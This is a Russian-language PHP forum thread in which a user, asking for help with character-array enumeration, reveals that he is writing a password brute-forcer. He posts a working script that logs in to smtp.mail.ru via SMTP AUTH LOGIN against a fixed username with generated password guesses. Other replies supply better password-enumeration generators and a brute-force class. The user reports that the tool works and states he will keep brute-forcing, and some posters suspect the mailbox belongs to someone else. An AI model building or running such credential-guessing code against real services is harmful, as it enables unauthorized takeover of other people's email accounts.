Помогите, пожалуйста с написанием скрипта перебора массива. Допустим, есть массив: Код (Text): $SYMBOLS = array("a","b","c","d","e","f","g"); И есть изначально заданное количество символов в строке Код (Text): $N = 5; Нужно чтобы код создавал строку из пяти символов массива, а когда эти циклы по символам закончат перебор (будет строка ggggg), произойдет инкремент $N и потом всё начнется заново уже до gggggg. Заранее, премного благодарен
Код (Text): <?php $SYMBOLS = array('a','b','c','d','e','f','g'); $N = 5; $i = sizeof($SYMBOLS); for ( ; $i >= 0; $i--, $N--) { $temp = ''; $i2 = $N; for ( ; $i2 >= 0; $i2--) $temp = $temp . $SYMBOLS[$i] ; echo '<p>' . $temp . '</p>'; } ?>
Почти верно. Вот результат работы: А должен быть таким: Такое возможно осуществить? Добавлено спустя 41 секунду: Конечно, пароль от мыла вспоминаю через smtp авторизовываюсь))
Код (PHP): $s = 'aaaa'; $bad = join('',range('h','z')); while($s!='gggg') { if (strpbrk(++$s, $bad)) continue; echo $s.'<br>'; } намеренно оставил по четыре символа 'aaaa' и 'gggg', ибо если делать больше то время работы и кол-ва вариантов становится очень много )
Мутное описание, пароль как я понял из 5 символов, он просто из 5 символов или он имеет определённые формат типа сначала 4 буквы одинаковые "аааа", а потом идет еще какая то другая буква например "b" и в итоге получается пароль : "ааааb" и по буквам вопрос, там все буквы алфавита или определённые, а цифры есть? Говорить правду и более подробно - залог успеха, в конце концов мы не знаем ваш эл. адрес и взломать его его не сможем.
Дело в том, что я пишу брутфорс. Это понятно. Есть массив с символами, которые я употреблял при написании: Код (Text): $SYMBOLS = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9",""); Затем я сделал ахиренные циклы, когда к переменной $password добавляется новый символ из массива. Вот этот монстр: Код (Text): function get_data($smtp_conn) { $data=""; while($str = fgets($smtp_conn,515)) { $data .= $str; if(substr($str,3,1) == " ") { break; } } return $data; } $NUMBER = 6; $login = "ciguljara"; $password = ""; for ($i1=0; $i1<count($SYMBOLS); $i1++){ // i1 for ($i2=0; $i2<count($SYMBOLS); $i2++){ // i2 for ($i3=0; $i3<count($SYMBOLS); $i3++){ // i3 for ($i4=0; $i4<count($SYMBOLS); $i4++){ // i4 for ($i5=0; $i5<count($SYMBOLS); $i5++){ // i5 for ($i6=0; $i6<count($SYMBOLS); $i6++){ // i6 for ($i7=0; $i7<count($SYMBOLS); $i7++){ // i7 for ($i8=0; $i8<count($SYMBOLS); $i8++){ // i8 for ($i9=0; $i9<count($SYMBOLS); $i9++){ // i9 for ($i10=0; $i10<count($SYMBOLS); $i10++){ // i10 for ($i11=0; $i11<count($SYMBOLS); $i11++){ // i11 for ($i12=0; $i12<count($SYMBOLS); $i12++){ // i12 for ($i13=0; $i13<count($SYMBOLS); $i13++){ // i13 for ($i14=0; $i14<count($SYMBOLS); $i14++){ // i14 for ($i15=0; $i15<count($SYMBOLS); $i15++){ // i15 for ($i16=0; $i16<count($SYMBOLS); $i16++){ // i16 for ($i17=0; $i17<count($SYMBOLS); $i17++){ // i17 for ($i18=0; $i18<count($SYMBOLS); $i18++){ // i18 for ($i19=0; $i19<count($SYMBOLS); $i19++){ // i19 for ($i20=0; $i20<count($SYMBOLS); $i20++){ // i20 $password = $SYMBOLS[$i1] . $SYMBOLS[$i2] . $SYMBOLS[$i3] . $SYMBOLS[$i4] . $SYMBOLS[$i5] . $SYMBOLS[$i6] . $SYMBOLS[$i7] . $SYMBOLS[$i8] . $SYMBOLS[$i9] . $SYMBOLS[$i10] . $SYMBOLS[$i11] . $SYMBOLS[$i12] . $SYMBOLS[$i13] . $SYMBOLS[$i14] . $SYMBOLS[$i15] . $SYMBOLS[$i16] . $SYMBOLS[$i17] . $SYMBOLS[$i18] . $SYMBOLS[$i19] . $SYMBOLS[$i20]; $smtp_conn = fsockopen("smtp.mail.ru",25,$errno, $errstr, 10); if(!$smtp_conn) { // 1 print "соединение с серверов не прошло"; fclose($smtp_conn); exit; } else { // 1 $data = get_data($smtp_conn); fputs($smtp_conn,"EHLO vasya\r\n"); $code = substr(get_data($smtp_conn),0,3); if($code != 250) { // 2 print "ошибка приветсвия EHLO"; fclose($smtp_conn); exit; } else { // 2 fputs($smtp_conn,"AUTH LOGIN\r\n"); $code = substr(get_data($smtp_conn),0,3); if($code != 334) { // 3 print "сервер не разрешил начать авторизацию"; fclose($smtp_conn); exit; } else { // 3 fputs($smtp_conn,base64_encode($login)."\r\n"); $code = substr(get_data($smtp_conn),0,3); if($code != 334) { // 4 print "ошибка доступа к такому юзеру"; fclose($smtp_conn); exit; } else { // 4 fputs($smtp_conn,base64_encode($password)."\r\n"); $code = substr(get_data($smtp_conn),0,3); if($code != 235) { // 5 fputs($smtp_conn,"QUIT\r\n"); fclose($smtp_conn); echo <<<EOD <small><small> <b>Пароль:</b> $password<br/> <b>СТАТУС:</b> пароль неверный </small></small> <hr/> EOD; } else { // 5 fputs($smtp_conn,"QUIT\r\n"); fclose($smtp_conn); echo <<<EOD <small><small> <b>Пароль:</b> $password - ПАРОЛЬ ПОДОБРАН<br/> </small></small> <hr/> EOD; exit; } // 5 } // 4 } // 3 } // 2 } // 1 flush(); sleep(1); } // i20 } // i19 } // i18 } // i17 } // i16 } // i15 } // i14 } // i13 } // i12 } // i11 } // i10 } // i9 } // i8 } // i7 } // i6 } // i5 } // i4 } // i3 } // i2 } // i1 Но его проблемы в том, что: 1) Это не рационально 2) Подбор начинается с а, потом b, через пару часов aaa, aab, но я же сразу писал пароль больше, чем 1, 2,3,4 и тем более 5 символов... Поэтому я хочу сделать код, который будет проверять сразу, начиная от aaaaaa (6), и, с учетом массива $SYMBOLS, заканчивать 999999, потом начнет aaaaaaa (7) и заканчивать 9999999 и т.д., пока он не найдет мой пароль. Вот примерно такой алгоритм... Это вообще реально, я так понимаю?
А перебор откуда осуществляется? домашний компьютер? может сервер какой то? получается что бы устроить такой перебор нужно что бы источник работал от начала и до конца перебора, а это получается как минимум от недели.
и еще такой вопрос, я не смотрел код, лень, а если задавать длину пароля изначально и запускать несколько экземпляров с разной длинной пароля, но оно будет начинаться a, далее b ну а заканчивать w (или что там, я даже алфавита не знаю, причем не только английского..)? и не будет ли более удобным сделать программу которая создаст потенциальные пароли на каком то другом языке, а для проверки использовать готовые варианты, подгружать их из файла
Код (PHP): <?php $chars = ['a', 'b', 'x', '1']; $word = '1a'; if (empty($word)) { $pointers = [0]; } else { $we = str_split($word); $we = array_reverse($we); //$pointers[0] - правый символ foreach ($we as $w) { foreach ($chars as $ck => $cv) { if ($w === $cv) { $pointers[] = $ck; } } } } $cmax = count($chars)-1; for ($i = 0; $i < 100; $i++) { $pointers = iter($pointers, $cmax); echo buildWord($pointers, $chars), '<br>'; } function buildWord($pointers, $chars) { $word = ''; $pointers = array_reverse($pointers); foreach ($pointers as $p) { $word .= $chars[$p]; } return $word; } function iter($pointers, $cmax) { $pointers[0]++; reset($pointers); $flag = true; $index = 0; do { if ($pointers[$index] <= $cmax) { $flag = false; } else { $pointers[$index] = 0; if (!isset($pointers[$index + 1])) { $pointers[$index + 1] = 0; } $pointers[$index + 1]++; } $index++; } while ($flag == true); return $pointers; }
ой да ну ладно, не надо тут школьников дразнить а то как станут хакерами направо и налево че ломаешь скажи лучше, интересно же ж. и как тебя не банят на smtp-сервере?
Тем, что он не добавляет в конец еще один символ, когда заканчивает эти. И да, в нем нет цифр. И отсутствует массив. А мне нужно перебирать именно массив с указанными символами. Поэтому вариант igordata более адекватен. Сам код уже работает. Опробовал на одном из своих ящиков - подобрал. Правда, я только неправильно последние 2 символа ввел, но но нашел и подобрал их Так что - код вполне рабочий. Сделал еще промежуточное сохранение строки пароля в файл, чтобы он начинал перебор с последней комбинации. Так что - буду брутфорсить
где обо всем этом речь в первом вашем посте? вам задавали уточняющие вопросы но в ответ вы опятьже приводили примеры про aaaaa и gggggg так что совсем неудивительно что представленное решение вам неподходит. оно решает задачу которую вы озвучили. а то что на самом деле вам нужно совсем другое вам уже igordata продемонстрировал.
Угу. Ты забыл пасс от своего ящика. А тут, сдается мне, "забыли" пасс от чужого Поддержка не обрадуется.
Я вот такой код накидал, класс, объект класса (конструктор) принимает 2 параметра, массив символов из которых будет происходить подбор паролей и длинна пароля, по коду все подобранные пароли записывает в массив, но можно доработать функцию (act) которая записывает в массив, что бы она делала с паролем еще что то.. Код (Text): <?php class bf { protected $array_chars, // массив символов из которых будут формироваться пароли $length_psw, // длина пароля $temp_psw, // массив, в котором хранится обробатываемый пароль $data, // массив в котором хранятся все сгенерированные пароли $flag_last_position, // length_psw-1 для одно из функций, что бы каждый раз не выполнять подсчет $length_array_chars; // для одной из функции, что бы каждый раз не выполнять sizeof ($this->array_chars) public function __construct($array_chars, $length_psw) { $this->array_chars = $array_chars; $this->length_psw = $length_psw; $this->data = array(); $this->temp_psw = array(); $this->flag_last_position = $this->length_psw - 1; $this->length_array_chars = sizeof ($this->array_chars); for ($i = 0; $i < $this->flag_last_position; $i++) { $this->temp_psw[$i] = $this->array_chars[0]; } } protected function act () { $this->data[ sizeof($this->data) ] = implode ($this->temp_psw); } protected function worked($position = 0) { for ($i = 0; $i < $this->length_array_chars; $i++) { $this->temp_psw[$position] = $this->array_chars[$i]; if ( $position < $this->flag_last_position ) { $this->worked($position +1); } else { $this->act(); } } } public function start_bf() { if ( sizeof($this->array_chars) > 0 && $this->length_psw > 0 ) { $this->worked(); } else { die('Ошибка, параметры заданы не верно! Массив символов или длина пароля.'); } } public function get_data() { return $this->data; } } $arr = array( '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' ); $temp = new bf($arr, 3); $temp->start_bf(); $res = $temp->get_data(); echo '<p>' . sizeof($res) . '</p>'; ?> Перебор осуществляется так, если есть массив '1', '2', '3' то начинаться будет с 111, 112, а заканчиваться с 332, 333. Так же нет опции продолжить с определенного пароля.